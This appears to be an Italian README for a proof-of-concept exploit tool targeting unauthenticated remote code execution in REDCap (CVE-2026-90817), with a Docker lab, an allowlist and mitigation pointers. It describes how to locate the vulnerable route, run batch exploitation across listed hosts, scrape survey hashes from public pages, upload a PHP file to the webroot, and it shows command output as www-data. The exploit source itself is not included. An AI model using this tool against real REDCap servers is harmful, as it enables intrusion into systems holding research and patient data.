
PoC Python per CVE-2026-90817, un RCE non autenticato su REDCap tramite routing passthrough dei survey e injection di file-path, con un laboratorio Docker e target protetti da allowlist.
| Campo | Valore |
|---|
| CVE | CVE-2026-90817 |
| Prodotto | Vanderbilt University REDCap |
| CVSS | 9.8 Critico |
| Auth | Non autenticato (richiede un hash di survey pubblico valido) |
| Affected | REDCap 13.3.0 e versioni successive |
| Fixed | 16.0.49 LTS, 17.3.10 LTS, 17.4.4 Standard Release |
| CWE | CWE-73 (Controllo esterno di nome file o percorso), CWE-94 (Iniezione di codice) |
Catena di attacco:
CVE-2026-90817/
├── poc_cve_2026_90817.py # PoC (single-target, allowlist-guarded)
├── docker-compose.yml # MySQL + PHP-Apache lab stack
├── redcap-init/
│ ├── database.php # REDCap DB config for lab
│ └── php.ini # PHP settings for lab
├── redcap-src/ # <-- extract REDCap source here (you provide)
├── targets.txt # Authorized targets: one host per line
├── payload.txt # Sample file for upload mode
├── requirements.txt # Python dependencies
└── poc_results.txt # Generated after PoC run
REDCap è software con licenza. Devi ottenerlo tramite canali ufficiali per il tuo laboratorio.
mkdir -p redcap-src
# Extract your redcap.zip contents into redcap-src/
# The directory should contain index.php, redcap_vX.X.X/, etc.
docker compose up -d
Attendere il superamento dell'healthcheck di MySQL, quindi aprire:
http://localhost:8080
Completare la procedura guidata di installazione di REDCap utilizzando queste impostazioni del database (preconfigurate in redcap-init/database.php):
| Impostazione | Valore |
|---|---|
| Host | db |
| Database | redcap |
| User | redcap |
| Password | redcap123 |
s=).Esempio di URL della survey:
http://localhost:8080/surveys/?s=ABC123XYZ
Hash della survey: ABC123XYZ
L'advisory pubblico non divulga la route controller esatta o il nome del parametro. Dopo aver configurato il laboratorio, eseguire il RE su redcap-src/ e compilare le costanti TODO in poc_cve_2026_90817.py:
VULNERABLE_ROUTE = "TODO_CONTROLLER_ROUTE" # controller route via survey passthrough
FILE_PATH_PARAM = "TODO_FILE_PATH_PARAM" # file-path/stream parameter name
WEBROOT_PATH = "/var/www/html/redcap/" # webroot inside container
UPLOADER_NAME = "x.php" # PHP uploader filename
Cercare il routing passthrough della survey:
grep -rn "passthrough\|survey.*route\|Routes::" redcap-src/ --include="*.php" | head -50
grep -rn "Controller" redcap-src/ --include="*.php" | grep -i "import\|survey" | head -50
Cercare la gestione file-path/stream del Data Import:
grep -rn "file_path\|file-path\|stream\|DataImport\|data_import" redcap-src/ --include="*.php" | head -50
grep -rn "fopen\|file_get_contents\|include\|require" redcap-src/ --include="*.php" | grep -i "import" | head -50
Impostare STAGE1_SUCCESS_MARKER su una stringa presente in una risposta riuscita della fase 1 (opzionale ma consigliato).
pip install -r requirements.txt
Lo script rifiuta i target che non sono né host di laboratorio (localhost, 127.0.0.1, ::1, *.local, *.test, *.localhost) né elencati in targets.txt.
CVE-2026-90817 è non autenticato — non è necessario alcun login. L'unica precondizione è un hash di survey pubblico valido (dall'URL della survey ?s=HASH).
Lo strumento può scoprire automaticamente l'hash della survey effettuando lo scraping delle pagine pubbliche del target (best-effort). Controlla gli endpoint REDCap comuni (/, /redcap/, /index.php, /surveys/) alla ricerca di link /surveys/?s=HASH. Questo funziona solo se il target espone pubblicamente i link delle survey (configurazione errata). Per istanze REDCap configurate correttamente, fornire l'hash manualmente tramite --hash.
--hash è opzionale (scoperta automatica se omesso)Per target non-lab, creare targets.txt con un host per riga (FQDN o IP). Sei responsabile dell'autorizzazione legale di ogni host elencato.
# targets.txt
redcap.client.example.com
10.0.0.5
192.168.1.100
Target di laboratorio con hash esplicito:
python poc_cve_2026_90817.py \
--target http://localhost:8080 \
--hash ABC123XYZ \
--mode both \
--out poc_results.txt
Target di laboratorio con hash scoperto automaticamente:
python poc_cve_2026_90817.py \
--target http://localhost:8080 \
--mode both \
--out poc_results.txt
Aggiungere --batch per sfruttare automaticamente ogni host elencato in targets.txt. Lo strumento scopre automaticamente l'hash della survey per ogni target effettuando lo scraping delle pagine pubbliche. Lo strumento stampa tutti i target e chiede conferma prima di iniziare (usare --yes per saltare il prompt negli script).
python poc_cve_2026_90817.py \
--batch \
--mode both \
--out poc_results.txt
La porta viene ereditata da --target (predefinita 8080). Per usare una porta diversa, impostare --target http://placeholder:443/ prima di --batch.
Il risultato di ogni target viene aggiunto al file di output. Alla fine viene stampato un riepilogo: N success, M failed, T total.
| Argomento | Predefinito | Descrizione |
|---|---|---|
--target | http://localhost:8080 | URL di base del target |
--hash | (opzionale) | Hash della survey pubblica. Se omesso, scoperto automaticamente tramite scraping delle pagine pubbliche (best-effort). |
--allowlist | targets.txt | File dei target, un host per riga |
--batch | off | Itera su tutti gli host nel file dei target e sfrutta ciascuno |
--yes | off | Salta il prompt di conferma del batch |
--mode | both | id, upload, o both |
--out | poc_results.txt | File di log dei risultati |
--timeout | 30 | Timeout HTTP (secondi) |
--upload-local | payload.txt | File locale da caricare |
--upload-remote | uploaded_payload.txt | Nome file remoto sotto la webroot |
--skip-placeholder-check | off | Dry-run del flusso HTTP senza costanti TODO compilate |
Nota: la scoperta automatica funziona solo su target che espongono pubblicamente i link delle survey. Per la maggior parte delle istanze REDCap, fornire --hash manualmente.
In caso di successo, stdout mostra:
[0xNuts] CVE-2026-90817 PoC -- AUTHORIZED USE ONLY
[0xNuts] You are responsible for legal authorization of every target.
[0xNuts] Using survey hash: ABC123XYZ
[0xNuts] Stage 1: route manipulation -> ...
[0xNuts] Stage 2: file-path injection -> ...
[0xNuts] id output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[0xNuts] uploaded to /var/www/html/redcap/uploaded_payload.txt
[0xNuts] Result logged to poc_results.txt
I risultati vengono aggiunti a poc_results.txt:
[2026-09-21T03:20:00Z]
target=http://localhost:8080/
survey_hash=ABC123XYZ
status=success
id_output=uid=33(www-data) gid=33(www-data) groups=33(www-data)
uploaded_files=/var/www/html/redcap/uploaded_payload.txt
notes=mode=both
------------------------------------------------------------
Aggiornare a REDCap 16.0.49 LTS, 17.3.10 LTS, o 17.4.4 Standard Release (a seconda dei casi).
Hardening aggiuntivo: